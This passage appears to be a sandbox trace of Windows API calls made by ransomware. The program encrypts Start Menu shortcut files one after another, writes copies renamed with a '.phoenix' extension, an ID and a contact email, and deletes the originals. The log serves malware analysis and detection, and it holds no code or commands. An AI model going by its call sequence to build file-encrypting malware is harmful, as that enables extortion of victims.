	[0263.749] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0263.749] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0263.749] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0263.749] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0263.765] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0263.765] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0263.765] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x45a, lpOverlapped=0x0) returned 1
	[0263.799] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x460, dwBufLen=0x460 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x460) returned 1
	[0263.799] WriteFile (in: hFile=0x304, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x460, lpOverlapped=0x0) returned 1
	[0263.801] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151540) returned 1
	[0263.801] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0263.801] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0263.801] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.801] WriteFile (in: hFile=0x304, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0263.801] CryptDestroyKey (hKey=0x151500) returned 1
	[0263.801] CloseHandle (hObject=0x2d4) returned 1
	[0263.801] CloseHandle (hObject=0x304) returned 1
	[0263.839] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk")) returned 1
	[0263.851] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0263.851] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Quick Assist.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\quick assist.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.867] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1164) returned 1
	[0263.867] CloseHandle (hObject=0x2c4) returned 1
	[0263.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Quick Assist.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\quick assist.lnk")) returned 0x20
	[0263.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Quick Assist.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\quick assist.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.867] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Quick Assist.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\quick assist.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.867] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0263.867] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0263.867] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Quick Assist.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\quick assist.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0263.889] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0263.889] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0263.889] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x48c, lpOverlapped=0x0) returned 1
	[0263.968] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x490, dwBufLen=0x490 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x490) returned 1
	[0263.968] WriteFile (in: hFile=0x244, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x490, lpOverlapped=0x0) returned 1
	[0263.971] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0263.971] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0263.971] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0263.971] CryptDestroyKey (hKey=0x151600) returned 1
	[0263.971] WriteFile (in: hFile=0x244, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0263.971] CryptDestroyKey (hKey=0x151440) returned 1
	[0263.971] CloseHandle (hObject=0x2c4) returned 1
	[0263.971] CloseHandle (hObject=0x244) returned 1
	[0264.024] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Quick Assist.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\quick assist.lnk")) returned 1
	[0264.031] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0264.031] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0264.321] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1134) returned 1
	[0264.321] CloseHandle (hObject=0x244) returned 1
	[0264.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk")) returned 0x20
	[0264.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.321] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0264.321] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0264.321] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0264.321] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0264.397] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0264.397] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0264.397] ReadFile (in: hFile=0x244, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x46e, lpOverlapped=0x0) returned 1
	[0264.442] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x470, dwBufLen=0x470 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x470) returned 1
	[0264.442] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x470, lpOverlapped=0x0) returned 1
	[0264.443] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0264.443] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0264.443] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0264.443] CryptDestroyKey (hKey=0x151500) returned 1
	[0264.443] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0264.443] CryptDestroyKey (hKey=0x151180) returned 1
	[0264.443] CloseHandle (hObject=0x244) returned 1
	[0264.444] CloseHandle (hObject=0x2c4) returned 1
	[0264.539] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk")) returned 1
	[0264.599] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0264.599] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows fax and scan.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0264.602] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1096) returned 1
	[0264.602] CloseHandle (hObject=0x244) returned 1
	[0264.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows fax and scan.lnk")) returned 0x20
	[0264.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Fax and Scan.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows fax and scan.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.602] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows fax and scan.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0264.603] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0264.603] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0264.603] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Fax and Scan.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows fax and scan.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0264.651] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151780) returned 1
	[0264.651] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0264.651] ReadFile (in: hFile=0x244, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x448, lpOverlapped=0x0) returned 1
	[0264.656] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x450, dwBufLen=0x450 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x450) returned 1
	[0264.656] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x450, lpOverlapped=0x0) returned 1
	[0264.657] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151400) returned 1
	[0264.657] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0264.657] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60, dwBufLen=0x60 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60) returned 1
	[0264.657] CryptDestroyKey (hKey=0x151400) returned 1
	[0264.657] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x112, lpOverlapped=0x0) returned 1
	[0264.657] CryptDestroyKey (hKey=0x151780) returned 1
	[0264.657] CloseHandle (hObject=0x244) returned 1
	[0264.657] CloseHandle (hObject=0x2c0) returned 1
	[0264.678] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows fax and scan.lnk")) returned 1
	[0264.790] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0264.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows media player.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0264.791] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1347) returned 1
	[0264.791] CloseHandle (hObject=0x2c0) returned 1
	[0264.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows media player.lnk")) returned 0x20
	[0264.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Media Player.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows media player.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.791] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows media player.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0264.791] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0264.792] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0264.792] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Media Player.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows media player.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0264.855] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0264.855] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0264.855] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x543, lpOverlapped=0x0) returned 1
	[0264.897] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x550, dwBufLen=0x550 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x550) returned 1
	[0264.897] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x550, lpOverlapped=0x0) returned 1
	[0264.898] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151140) returned 1
	[0264.898] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0264.898] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60, dwBufLen=0x60 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60) returned 1
	[0264.898] CryptDestroyKey (hKey=0x151140) returned 1
	[0264.898] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x112, lpOverlapped=0x0) returned 1
	[0264.898] CryptDestroyKey (hKey=0x151380) returned 1
	[0264.898] CloseHandle (hObject=0x2c0) returned 1
	[0264.899] CloseHandle (hObject=0x2c4) returned 1
	[0265.077] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows media player.lnk")) returned 1
	[0265.103] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0265.103] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\xps viewer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0265.142] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1122) returned 1
	[0265.142] CloseHandle (hObject=0x244) returned 1
	[0265.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\xps viewer.lnk")) returned 0x20
	[0265.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\XPS Viewer.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\xps viewer.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.142] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\xps viewer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0265.142] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0265.142] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0265.142] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\XPS Viewer.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\xps viewer.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0265.668] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0265.668] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0265.669] ReadFile (in: hFile=0x244, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x462, lpOverlapped=0x0) returned 1
	[0265.740] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x470, dwBufLen=0x470 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x470) returned 1
